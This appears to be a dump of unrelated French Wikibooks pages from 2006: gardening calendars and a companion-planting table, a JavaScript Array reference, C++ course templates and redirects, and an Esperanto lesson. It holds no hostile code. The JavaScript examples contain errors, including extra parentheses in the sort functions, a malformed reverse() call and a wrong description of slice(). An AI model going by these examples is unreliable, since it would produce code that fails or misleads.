Bruxelles, chou-fleur, chou frisé, chou navet, chou pommé, crosne, épinard, fenouil, mâche, navet, panais, poireau, poirée, radis d'hiver, salsifis, scorsonère, topinambour | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Haie, ail, échalote, endive, oignon, arbres et arbustes fruitiers #'''''Semer :''''' #'''''Récolter :''''' Cardon, carotte, chicorée scarole, chicorée sauvage, chou brocoli, chou de Bruxelles, chou-fleur, chou frisé, chou navet, chou pommé, crosne, épinard, fenouil, mâche, navet, panais, poireau, salsifis, scorsonère, topinambour | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin si sol non gelé #Fumure de fond, #Traitement des arbres fruitiers #Buttage des artichauts, #Arrachage et forçage des endives #Débuttage des asperges |} <!--MOIS de DECEMBRE--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN DECEMBRE--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de DECEMBRE''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Ail, endive, haie, arbres et arbustes fruitiers #'''''Semer :''''' #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou-fleur, chou frisé, chou navet, chou pommé, endive, épinard, fenouil, mâche, panais, poireau, salsifis, scorsonère, topinambour | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Ail, endive, haie, arbres et arbustes fruitiers #'''''Semer :''''' #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou-fleur, chou frisé, chou navet, chou pommé, endive, fenouil, mâche, panais, poireau, salsifis, scorsonère, topinambour | valign="top" width="33%" | *'''Autres travaux''' #Nourriture des oiseaux, pose de nichoirs, #forçage endive |} [[Catégorie:Jardinage]] Programmation JavaScript/Références/Objets 6690 31020 2006-01-31T17:56:20Z Gmarzin 1053 {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] [[Programmation JavaScript/Références/Objets/Array|Array (tableaux)]] Programmation JavaScript/Références/Objets/Array 6691 39336 2006-03-31T21:22:07Z 70.81.202.162 /* splice() */ {{Programmation JavaScript}} {{Navigation Prec Suiv|Références/Objets|}} ===Caractéristiques=== * Les tableaux de type Array sont dynamiques. Il n'est pas nécessaire de les dimentionner à l'avance, et leurs taille peut croitre ou décroitre en fonction du nombre d'éléments contenus. La propriété '''length''', en lecture seule, contient en permanence le nombre d'éléments compris entre l'indice zero et l'indice entier positif de poid le plus fort.<br/> *Il n'est pas obligatoire que les éléments soient contigus. * L'objet Array combine les caractéristiques d'un tableau '''classique''' (adressage des éléments par l'indice 0,1...n), et les caractéristiques d'un tableau '''associatif''' (adressage des éléments avec un identificateur entre guillemets). L'interpréteur est très souple, il est possible de panacher les deux modes. Mais dans ce cas, la popriété length ne comptabilisera pas les cellules déclarées en mode associatif. * Souplesse de l'interpréteur, encore, il est possible de mentionner des indices négatifs! Fort heureusement, ils n'influencent pas la valeur de length, qui gère les indices à partir de zero. * Un même tableau peut contenir plusieurs types de données, comme des chaînes, nombres, objets, ou ... tableaux, ce qui permet de construire de véritable structures de données. ===Propriétés=== Une seule propriété : '''length'''. <table border="1"> <tr><th>Propriété</th><th>Lecture/Ecriture</th><th>type</th></tr> <tr><td>length</td><td>Lecture seule</td><td>entier</td></tr> </table> ===Méthodes=== Voici une description succinte des méthodes classées par fonctionalités. En cliquant sur le nom de la méthode, vous accédez à une descripton plus détaillée avec exemples. ====Modification du contenu==== <table border="1" style="width:650px;font-size:8pt"> <tr> <th>Propriété</th> <th>Description</th> <th>Exemple</th> </tr> <tr> <td>[[#pop()|pop()]]</td><td>suprime le dernier élément</td><td>mon_tableau.pop()</td> </tr> <tr> <td>[[#push()|push()]]</td><td>ajoute un ou plusieurs éléments à la fin</td><td>mon_tableau.push("nouveau","deuxième nouveau")</td> </tr> <tr> <td>[[#shift()|shift()]]</td><td>Suprime le premier élément</td><td>mon_tableau.shift()</td> </tr> <tr> <td>[[#unshift()|unshift()]]</td><td>Ajoute des éléments au début</td><td>mon_tableau.unshift("nouveau1", "nouveau2")</td> </tr> <tr> <td>[[#splice()|splice()]]</td><td>Insère des éléments</td><td>mon_tableau.splice(ou,2,"nouveau1","nouveau2")</td> </tr> <tr> <td> [[#reverse()|reverse()]] </td><td>réorganise le tableau de la fin vers le début</td><td>mon_tableau(reverse)</td> </tr> <tr> <td>[[#concat()|concat()]]</td><td>Concaténer plusieurs tableaux</td><td>mon_tableau.concat(T2,t3)</td> </tr> </table> ====Obtenir des données==== <table border="1" style="width:650px;font-size:8pt"> <tr> <th>Propriété</th> <th>Description</th> <th>Exemple</th> </tr> <tr> <td>[[#join()|join()]]</td><td>Extrait les données dans une chaîne avec le délimiteur donné en paramètre</td><td>s = mon_tableau.join(" ")</td> <tr/> <tr> <td>[[#slice()|slice()]]</td><td>Renvoie un tableau contenant 'nombre' cellules à partir de 'debut'</td><td>n_tab = mon_tableau.slice(debut,nombre)</td> <tr/> </table> ====Trier==== <table border="1" style="width:650px;font-size:8pt"> <tr> <th>Propriété</th> <th>Description</th> <th>Exemple</th> </tr> <tr> <td>[[#sort()|sort()]]</td><td>Trier le tableau</td><td>mon_tableau.sort()</td> </tr> </table> ====Méthodes héritées==== <table border="1" style="width:650px;font-size:8pt"> <tr> <th>Propriété</th> <th>Description</th> <th>Exemple</th> </tr> <tr> <td>toString()</td><td>Renvoyer le contenu de l'objet sous forme de chaîne</td><td>s = mon_tableau.toString()</td> </tr> <tr> <td>toLocaleString()</td><td>Renvoyer le contenu de l'objet sous forme de chaîne</td><td>s = mon_tableau.toLocaleString()</td> </tr> </table> ===Manipulation=== ====Instanciation :==== L'instanciation consiste à invoquer le constructeur de l'objet à l'aide du mot réservé new. {{Cadre code|Instanciation d'un objet Array| <pre> mon_tableau = new Array(); // Simple et direct mon_tableau = new Array(10); // Imposition de dix cases vides, (de 0 à 9) length vaut 10 // Note : rien n'empèche immédiatement après de faire mon_tableau[11] (dynamisme) mon_tableau = new Array("Elément 1", "Elément 2"); // Remplissage à la déclaration. </pre> }} ====Adressage d'un élément :==== {{Cadre code|Adressage d'un élément| <pre> t = new Array(null,null,null,"Contenu de trois"); // Création avec 4 éléments t["nom"] = "contenu de 'nom'"; alert(t[0]); // Affiche 'null' alert(t[3]); // Affiche "Contenu de trois"; alert(t["nom"]); // Affiche "contenu de 'nom'" alert(t[4]); // Affiche "undefined" </pre> }} ====Lecture de la propriété length :==== {{Cadre code|Lecture de la propriété length| <pre> t = new Array(null,null,null,"Contenu de trois"); // Création avec 4 éléments var nb_elements = t.length; // Lecture de length dans une variable alert("Le tableau a " + t.length + " éléments"); // Affiche "le tableau a 4 éléments" for(i = 0; i < t.length; i++) alert("contenu de : " + i + t[i]); // Afiche "null", puis "null", "null" et "Contenu de trois" </pre> }} ====Utilisation d'une méthode :==== {{Cadre code|Tri d'un tableau| <pre> t = new Array("Premier","Deuxieme","Troisieme"); t.sort(); // Invocation de la méthode sort() alert(t); // Affiche "Deuxieme,Premier,Troisieme", soit le contenu par ordre aphabétique </pre> }} ===Références=== ====Modifier le contenu du tableau==== =====concat()===== {{Cadre méthode|concat ( array1 [ , array2 , array3 ] ) | Le ou les tableaux envoyés en paramètres sont ajoutés à la fin du tableau.| Le ou les tableaux à ajouter, séparés par des virgules| Un tableau contenant les éléments du tableau de départ plus les tableaux ajoutés.| }} =====pop()===== {{Cadre méthode|pop()| Le dernier élément du tableau est suprimé du tableau et renvoyé.| aucun| l'élément suprimé| }} =====push()===== {{Cadre méthode|push ( var1 [ , var2 , var3 ] ) | ajoute un ou plusieurs éléments à la fin.| Le ou les éléments à ajouter, séparés par des virgules.| Jusqu'à JavaScript 1.2, renvoie le dernier élément ajouté. Avec les versions plus récentes, renvoie la taille du tableau.| }} =====shift()===== {{Cadre méthode|shift()| Le premier élément du tableau est suprimé et renvoyé.| aucun| l'élément suprimé| }} =====unshift()===== {{Cadre méthode|unshift( var1 [ , var2 , var3 ])| Un élément ou plusieurs éléments sont inserés au début du tableau.| aucun| La nouvelle longueur| }} =====splice()===== {{Cadre méthode|splice (indice , nombre [ , var1 , var2 , var3 ] )| Remplace (éventuellement ajoute) un certain nombre d'éléments à l'endroit spécifié.| Indice (base zero)<br/> Nombre d'éléments<br/> Au choix: rien, un, ou plusieurs éléments| aucun ou le tableau des éléments coupés| }} =====reverse()===== {{Cadre méthode|reverse()| Inverse l'ordre des éléments.| aucun| aucun| }} ====Obtenir des données==== =====join()===== {{Cadre méthode|join( [ sep_string ] )| Renvoi une chaîne contenant les éléments du tableau séparés par le ou les caractères transmis en argument.| le (ou les) caractères de séparation| La chaîne ainsi construite| }} =====slice()===== {{Cadre méthode|slice( indice, nombre )| Renvoi un tableau contenant un nombre d'éléments extraits à partir de l'indice.| Indice <br/> Nombre| Le tableau résultant| }} ====Trier le tableau==== =====sort()===== Prévue en standard pour trier des chaînes alphanumériques, la méthode '''sort''' est capable de bien plus grâce au mécanisme de fonction de comparaison externe.<br/> En effet, en programmant judicieusement cette fonction, vous pouvez trier des nombres, des dates, ou même des objets abstraits. {{Cadre méthode|sort( [ comparateur() ] )| Effectue le tri du tableau. Selon le mode désiré, il peut être nécessaire de définir une fonction de comparaison, et la transmettre en argument.| Tri en mode caractère : Pas d'argument <br/> Tri en mode numérique : Une fonction de comparaison| Aucun| }} 1er exemple : fonction de tri ascendant définie à part, appelée ensuite par son nom dans la fonction '''sort'''. {{Cadre code|tri ascendant| <pre> function pour_tri_ascendant(n1, n2)) { return (n1 - n2); // Retourne positif si n1 > n2, négatif ou nul si n1 < n2 } t = new Array(1,3,2); t.sort(pour_tri_ascendant); alert(t.join(",")); // Affiche "1,2,3" </pre> }} 2eme exemple : fonction de tri descendante. {{Cadre code|tri descendant| <pre> function pour_tri_descendant(n1, n2)) { return (n2 - n1); // Retourne positif si n1 < n2, négatif ou nul si n1 > n2 } t = new Array(1,3,2); t.sort(pour_tri_descendant); alert(t.join(",")); // Affiche "3,2,1" </pre> }} 3eme exemple : Intégration d'un fonction anonyme directement définie dans le paramètre. {{Cadre code|fonction intégrée| <pre> t = new Array(1,3,2); t.sort( function(n1,n2) { return n1-n2; } ); alert(t.join(",")); // Affiche "1,2,3" </pre> }} 4eme exemple : tri d'une notion abstraite (petit moyen grand). {{Cadre code|tri abstrait| <pre> function compare_taille(s1,s2) { if (s1=="petit") return -1; if (s1=="moyen") { if (s2=="petit") return 1; else return -1; } if (s1=="grand") return 1; return 0; // Egalité } t = new Array("petit","grand","moyen","grand","petit","moyen"); t.sort( compare_taille); alert(t.join(",")); // // Affiche "petit,petit,moyen,moyen,grand,grand" </pre> }} Modèle:Programmation C++ (débutant) 6692 37545 2006-03-14T09:10:06Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Programmation C++ (débutant)]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation C++ (débutant)/Introduction|Introduction]]</small> *<small>Chap. 1 - [[Programmation C++ (débutant)/Notions de base|Notions de base]]</small> *<small>Chap. 2 - [[Programmation C++ (débutant)/Notion de variable|Notion de variable]]</small> *<small>Chap. 3 - [[Programmation C++ (débutant)/Instructions if, if...else et switch|if, if...else et switch]]</small> *<small>Chap. 4 - [[Programmation C++ (débutant)/Instructions for, while et do...while|for, while et do...while]]</small> *<small>Chap. 5 - [[Programmation C++ (débutant)/Les types de base|Les types de base]]</small> *<small>Chap. 6 - [[Programmation C++ (débutant)/Les tableaux statiques|Les tableaux statiques]]</small> *<small>Chap. 7 - [[Programmation C++ (débutant)/Les fonctions|Les fonctions]]</small> *<small>Chap. 8 - [[Programmation C++ (débutant)/Les tableaux de char|Les tableaux de char]]</small> *<small>Chap. 9 - [[Programmation C++ (débutant)/Les structures|Les structures]]</small> *<small>Chap. 10 - [[Programmation C++ (débutant)/Les pointeurs|Les pointeurs]]</small> *<small>Chap. 11 - [[Programmation C++ (débutant)/Les classes|Les classes]]</small> *<small>Chap. 12 - [[Programmation C++ (débutant)/La classe string|La classe string]]</small> *<small>Chap. 13 - [[Programmation C++ (débutant)/La fichiers|Les fichiers]]</small> *<small>Chap. 14 - [[Programmation C++ (débutant)/Listes usuelles|Quelques listes usuelles]]</small> *<small>Chap. 15 - [[Programmation C++ (débutant)/Les templates|Les templates]]</small> *<small>Chap. 16 - [[Programmation C++ (débutant)/La STL|La STL]]</small> *<small>Chap. 17 - [[Programmation C++ (débutant)/L'héritage|L'héritage]]</small> *<small>Chap. 18 - [[Programmation C++ (débutant)/La virtualité|La virtualité]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[Programmation C plus plus|Programmation C++]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget]]</small> *<small>[[Programmation C]]</small> *<small>[[Exercices en langage C]]</small> *<small>[[Exercices en langage C++]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_C%252B%252B_%28d%C3%A9butant%29&action=edit Modifier ce modèle]</small> |} Programmation C plus plus debutants 6693 30015 2006-01-24T08:23:28Z Boly38 136 [[Programmation C plus plus debutants]] déplacé vers [[Programmation C++ (débutant)]]: suite à proposition de renommage #REDIRECT [[Programmation C++ (débutant)]] Modèle:C 6696 30024 2006-01-24T08:49:10Z Boly38 136 création redirect #redirect [[Modèle:Programmation C]] Modèle:C++ 6697 30025 2006-01-24T08:49:52Z Boly38 136 création redirect #redirect [[Modèle:Programmation C++]] Modèle:C++ débutant 6698 30026 2006-01-24T08:50:34Z Boly38 136 création redirect #redirect [[Modèle:Programmation C++ (débutant)]] Modèle:HTML 6699 30027 2006-01-24T08:51:17Z Boly38 136 création redirect #redirect [[Modèle:Programmation HTML]] Modèle:JS 6700 30028 2006-01-24T08:51:48Z Boly38 136 création redirect #redirect [[Modèle:Programmation JavaScript]] Modèle:Logo 6701 30029 2006-01-24T08:52:22Z Boly38 136 création redirect #redirect [[Modèle:Programmation Logo]] Modèle:PHP 6702 30030 2006-01-24T08:53:02Z Boly38 136 création redirect #redirect [[Modèle:Programmation PHP]] Modèle:Programmation XML 6703 30380 2006-01-26T08:05:29Z Boly38 136 -CSS {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Programmation XML]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Xml.gif|150px|center|Programmation XML]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation XML/Introduction|Introduction]]</small> *<small>[[Programmation XML/Structure d'un document XML|Structure d'un document XML]]</small> *<small>[[Programmation XML/Espace de nom|Espace de nom]]</small> *<small>[[Programmation XML/Définition de Type Document|Définition de Type Document]]</small> *<small>[[Programmation XML/Parsing |Parsing]]</small> **<small>[[Programmation XML/SAX|SAX]]</small> **<small>[[Programmation XML/DOM|DOM]]</small> *<small>[[Programmation XML/XPath|XPath]]</small> |- | bgcolor="white" | {{Boîte déroulante|align=left|alignT=left|titre=<small>[[Programmation XML/Applications fondamentales|Appli. fondamentales]]</small>|contenu= *<small>[[Programmation XML/XSLT|XSLT]]</small> *<small>[[Programmation XML/XML Schéma|XML Schéma]]</small> *<small>[[Programmation XML/XLink|XLink]]</small> *<small>[[Programmation XML/XPointer|XPointer]]</small> *<small>[[Programmation XML/XForms|XForms]]</small> *<small>[[Programmation XML/XML Query|XML Query]]</small> }} |- | bgcolor="white" | {{Boîte déroulante|align=left|alignT=left|titre=<small>[[Programmation XML/Applications finales|Appli. finales]]</small>|contenu= *<small>[[Programmation XML/XHTML|XHTML]]</small> *<small>[[Programmation XML/WML|WML]]</small> *<small>[[Programmation XML/XSL-FO|XSL-FO]]</small> *<small>[[Programmation XML/SOAP|SOAP]]</small> *<small>[[Programmation XML/XML Signature|XML Signature]]</small> *<small>[[Programmation XML/SMIL|SMIL]]</small> *<small>[[Programmation XML/SVG|SVG]]</small> *<small>[[Programmation XML/SyncML|SyncML]]</small> *<small>[[Programmation XML/MathML|MathML]]</small> *<small>[[Programmation XML/VoiceXML|VoiceXML]]</small> *<small>[[Programmation XML/X3D|X3D]]</small> *<small>[[Programmation XML/XMI|XMI]]</small> *<small>[[Programmation XML/XUL|XUL]]</small> }} |- | bgcolor="white" | *<small>[[Programmation XML/Conclusion|Conclusion]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_XML&action=edit Modifier ce modèle]</small> |} Modèle:XML 6704 30033 2006-01-24T09:04:50Z Boly38 136 création redirect #redirect [[Modèle:Programmation XML]] Modèle:Definition1 6706 30047 2006-01-24T10:13:37Z Boly38 136 [[Modèle:Definition1]] déplacé vers [[Modèle:Définition]]: bon fançais :) #REDIRECT [[Modèle:Définition]] Wikimodule:langage C++ niveau 1 6711 31691 2006-02-06T11:49:37Z Merrheim 1032 /* Quantité de travail à fournir */ {{Wikimodule:langage_C++_niveau_1}} ==Présentation du module== ===Wikimodule en cours de développement === Attention le module n'est pas encore finalisé. D'ailleurs le cours n'est pas encore terminé. Par contre, ce document a pour objectif de proposer un cadre de gestion des wikitudiants. Un wikietudiant voulant profiter d'une interaction avec un wikiprof doit s'inscrire et remplir la fiche de suivi. Le wikiprof suit alors sa progression et répond aux questions. Le wikitudiant rendra ses devoirs au wikiprof qui donnera son appréciation. Il faudra rajouter le concept de wikidevoirs, à faire en temps limité et sans document qui seront également notés par le wikiprof.<br/> ETAT DU MODULE : NON OUVERT === Quantité de travail à fournir === Chaque semaine correspond à un travail compris entre 4 heures et 6 heures. ==Inscription au wikimodule == Chaque wikitudiant voulant suivre ce wikimodule doit s'inscrire et créer une page selon le modèle [[Wikimodule:langage C++ niveau1:Etudiant_toto|Wikimodule:langage C++ niveau1:Etudiant_toto]] et l'insérer dans la liste des étudiants inscrit au module. Wikimodule:langage C++ niveau1:Etudiant toto 6712 39918 2006-04-09T15:58:50Z 81.248.148.172 /* Semaine 1 */ [[Wikimodule:langage C++ niveau 1]] <br/> Cette fiche, encore incomplète sera à terme la fiche de suivi wikitudiant toto. Elle permet une interaction (questions/réponse, correction, notations) avec un wikiprof. Un étudiant voulant profiter de cette interaction devra créer un fiche de suivi correspondant au modèle fourni. == Inscription== Nom d'étudiant : toto <br/> Inscription au module de C++ niveau 1 == Mon travail concenant ce module == === Semaine 1 === Etudier le chapitre 1. Etat : '''NON FAIT'''<br/> Faire l'exercice 1 du chapitre 1. Etat : '''NON FAIT'''<br/> Accomplissement Etat:'''NON FAIT'''<br/> === Semaine 2 === === Semaine 3 === === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === === Semaine 10 === === Semaine 11 === === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === == Questions sur le cours == === Semaine 1 === === Semaine 2 === === Semaine 3 === === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === === Semaine 10 === === Semaine 11 === === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === == Les travaux à rendre pour ce module == === Semaine 1 === === Semaine 2 === === Semaine 3 === === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === === Semaine 10 === === Semaine 11 === === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === == Appréciations du wikiprof == === Semaine 1 === === Semaine 2 === === Semaine 3 === === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === === Semaine 10 === === Semaine 11 === === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === == Avis du wikitudiant sur le wikimodule == === Semaine 1 === === Semaine 2 === === Semaine 3 === === Semaine 4 === === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === === Semaine 10 === === Semaine 11 === === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === == Les wikinotes obtenues pour ce module == Aucun devoir pour l'instant ==Obtention du wikimodule== Ce module est actuellement : '''NON OBTENU''' Programmation C++ (débutant) 6713 35555 2006-03-02T14:44:56Z Merrheim 1032 {{C++ débutant}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Programmation C++ (débutant)</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]]<br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Programmation C++ (débutant)/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Programmation C++ (débutant)/Introduction 6714 30076 2006-01-24T13:01:57Z Boly38 136 créé à partir de [[Programmation C++ (débutant)/Notions de base]] {{C++ débutant}} == Un cours de C++ pour débutant == Ce cours de C++ est destiné à des débutants en programmation qui veulent apprendre le C++. Vous y trouverez des cours ainsi que de nombreux exercices d'application vous permettant de vérifier l'acquisition des connaissances.<br/> Ce cours est basé sur une pédagogie ascendante : nous allons commencer par manipuler des données basiques en commençant bien sûr par les types de base. Puis, petit à petit, nous allons manipuler des structures de données de plus en plus complexes : des tableaux statiques, des structures puis après avoir étudier les pointeurs des tableaux dynamiques. Ce n'est que tardivement que la notion de classe sera introduite. Les structures de données complexes ne seront étudiées qu'à la fin du cours.<br/> Il existe bien évidemment d'autres approches possibles dans lesquelles l'études des classes est introduite très tôt. On peut même envisager une approche totalement descendante en commençant par utiliser des objets de haut niveau et, petit à petit, expliquer leur fonctionnement interne.<br/> Les 2 approches semblent totalement respectables et il existe un incessant débat sur certains forums où les personnes ont un avis très virulent et tranché sur la question. Il n'est pas question ici de participer à ces querelles stériles mais plutôt de bien prévenir le lecteur qu'il n'existe pas une manière unique de présenter les choses. Programmation C plus plus debutants chapitre 2 6715 30125 2006-01-24T13:54:44Z Boly38 136 -s #REDIRECT [[Programmation C++ (débutant)/Notion de variable]] Programmation C plus plus debutants chapitre 3 6716 30085 2006-01-24T13:08:38Z Boly38 136 [[Programmation C plus plus debutants chapitre 3]] déplacé vers [[Programmation C++ (débutant)/Instructions if, if...else et switch]]: renommage en sous page #REDIRECT [[Programmation C++ (débutant)/Instructions if, if...else et switch]] Programmation C plus plus debutants chapitre 4 6718 30095 2006-01-24T13:16:43Z Boly38 136 err renommage #REDIRECT [[Programmation C++ (débutant)/Instructions for, while et do...while]] Modification de Programmation C++ (débutant)/Instructions for, while et do...while 6719 30094 2006-01-24T13:15:59Z Boly38 136 [[Modification de Programmation C++ (débutant)/Instructions for, while et do...while]] déplacé vers [[Programmation C++ (débutant)/Instructions for, while et do...while]]: erreur de renommage :) #REDIRECT [[Programmation C++ (débutant)/Instructions for, while et do...while]] Programmation C plus plus debutants chapitre 5 6720 30097 2006-01-24T13:17:26Z Boly38 136 [[Programmation C plus plus debutants chapitre 5]] déplacé vers [[Programmation C++ (débutant)/Les types de base]]: renommage en ss page #REDIRECT [[Programmation C++ (débutant)/Les types de base]] Programmation C plus plus debutants chapitre 6 6721 30101 2006-01-24T13:18:29Z Boly38 136 [[Programmation C plus plus debutants chapitre 6]] déplacé vers [[Programmation C++ (débutant)/Les tableaux statiques]]: renommage en ss page #REDIRECT [[Programmation C++ (débutant)/Les tableaux statiques]] Programmation C++ (débutant)/Notions de variable 6724 30121 2006-01-24T13:53:49Z Boly38 136 [[Programmation C++ (débutant)/Notions de variable]] déplacé vers [[Programmation C++ (débutant)/Notion de variable]]: notion sans 's' (décidément !) #REDIRECT [[Programmation C++ (débutant)/Notion de variable]] Espéranto : Première Leçon 6726 43877 2006-06-05T12:54:20Z 82.234.4.64 /* Expression des nuances */ ==Expression des nuances== En raison de sa simplicité d'apprentissage et de sa précision grammaticale, l'espéranto se rélève plus nuancé que la majorité des langues nationales. Ainsi, là où dans bien des langues il faut recourir à des périphrases, l'espéranto peut exprimer l'idée par un vocable compact. Ex: *être avare.....avari *entrer en courant.....enkuri *brûler d'ardeur.....fervori *s'échapper en s'envolant.....forflugi *avoir tendance à se montrer sérieux.....seriozemi *mériter d'être félicité(e)(s).....gratulindi *mettre sur la table.....surtabligi *se faufiler tout en rempant.....subrampi *vivre dans la débauche.....malĉasti *monter dans un wagon.....envagoniĝi *sortir d'un wagon.....elvagoniĝi *se mettre au lit.....enlitiĝi *passer la nuit.....tranokti *prendre un poste.....enpostiĝi *faire entrer dans le dictionnaire (un mot, une expression, etc).....envortarigi *faire sortir du dictionnaire (un mot, une expression, etc).....elvortarigi *embrasser pour un oui ou pour un non.....kisemi *se changer.....ŝanĝiĝi ==Assimilation== Comme toutes les autres langues, l'espéranto assimile les nouveautés et les mots étrangers, tout en restant fidèle à ses règles de bases et à sa phonétique. (l'anglais et le français moderne faisant partie des rares exceptions) Ex: *Windows.....Vindozo *Linux.....Linukso *Batman.....Vesperthomo *Louis Braille.....Ludoviko Brajlo *Zorro.....Zoro *Firefox.....Fajrofokso *Robin des Bois.....Robin Kapuĉo *Harry Potter.....Hari Poter *Spider-Man.....Araneo-Homo *Superman.....Superhomo *James Bond.....Ĵems Bond ==Féminin== Le féminin s'indique en mettant le suffixe '''-in-'''. Ex: *chat.....kato *chatte.....katino *chien.....hundo *chiennne.....hundino *éléphant.....elefanto *éléphante.....elefantino *guépard.....gepardo *guépard femelle.....gepardino *hyène.....hieno *hyène femelle.....hienino *singe.....simio *guenon.....simiino *renard.....vulpo *renarde.....vulpino *loup.....lupo *louve.....lupino [[Catégorie:Espéranto|01]] Programmation Delphi Introduction 6727 30171 2006-01-24T15:51:24Z Boly38 136 [[Programmation Delphi Introduction]] déplacé vers [[Programmation Delphi/Introduction]]: renommer en sous section (lien de retour au livre automatique) #REDIRECT [[Programmation Delphi/Introduction]] Compagnonnage 6730 40321 2006-04-14T18:19:50Z Zivax 1021 Remise en état Le '''compagnonnage''' est une des méthodes biologiques pour diminuer, dissuader ou parfois éliminer les parasites sans utiliser de [[w:Pesticide|pesticides]] toxiques et dangereux pour l'homme et la nature. Il faut éviter certaines associations de légumes c’est à dire réaliser un compagnonnage identifié, qui consiste à optimiser les plantations du potager, en donnant à chaque légume un ou plusieurs bons voisins qui éloignent les insectes, les maladies ou les mauvaises herbes. == Exemple == ==== Protection des pommes de terre ==== *Alterner un rang de [[w:Pomme de terre|pommes de terre]] avec un rang d'ail, de haricots, de pois, de fèves, de laitues, de choux, de maïs ou d’œillet d'Inde. ''Cela a pour effet de mêler les odeurs des plantes, ainsi les [[w:Doryphore|doryphores]] auront de la difficulté à détecter la présence des [[w:Pomme de terre|pommes de terre]].'' *Les fines herbes comme le catnip, la coriandre, le lamiun, sont très utiles pour éloigner les [[w:Doryphore|doryphores]]. *Les fleurs comme l’œillet d'Inde et le pétunia sont très utiles pour éloigner les [[w:Doryphore|doryphores]]. <!--Début--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="center" style="position:float;float:right;"><small> </small></div> |} <!--Fin--> {| width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:cccf2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | '''ASSOCIATIONS de LEGUMES''' |- bgcolor="#e7d699" | valign="top" width="01%" | * '''Légumes''' ------------------- ------------------- Brocoli ------------------- Chou de Bruxelles ------------------- Chou ------------------- Carotte ------------------- Chou-fleur ------------------- Céleri ------------------- Citrouille ------------------- Concombre ------------------- Courge ------------------- Épinard ------------------- Fève et haricot ------------------- Laitue ------------------- Melon ------------------- Oignon ------------------- Piment ------------------- Poireau ------------------- Pois ------------------- Pommes de terre ------------------- Radis ------------------- Tomates | valign="top" width="33%" | * '''Apprécie les ...''' ------------------- ------------------- carotte, fraisier, tomate ------------------- persil, tomate ------------------- Fève ------------------- estragon, pois, thym ------------------- choux, céleris, laitues, oignons ------------------- fève, céleri, camomille, aneth, menthe, capucine, oignon, origan, pomme de terre, sauge, romarin ------------------- fève, céleri, aneth, hysoppe, menthe, capucine, pomme de terre, sauge, romarin ------------------- fève, betterave, céleri, camomille, aneth, hysoppe, menthe, capucine, oignon, origan, pomme de terre, sauge, romarin ------------------- fève, échalotte, poireau, oignon, pois, radis, romarin, sauge, tomate ------------------- aneth, fève, betterave, camomille, capucine, céleri, hysoppe, menthe, oignon, origan, pomme de terre, sauge, romarin ------------------- fève, choux, poireau, oignon, tomate ------------------- fève, maïs, menthe, capucine, radis ------------------- fève, brocoli, céleri, laitue, pois, radis, tomate ------------------- fève, maïs, menthe, capucine, radis ------------------- aubergine, chou, céleri, oignon, pois, fraise ------------------- betteraves, bourrache, choux, carotte, chou-fleur, maïs, oeillet d'Inde, courge, fraise, tomate ------------------- betterave, chou, trèfle, pois, radis, 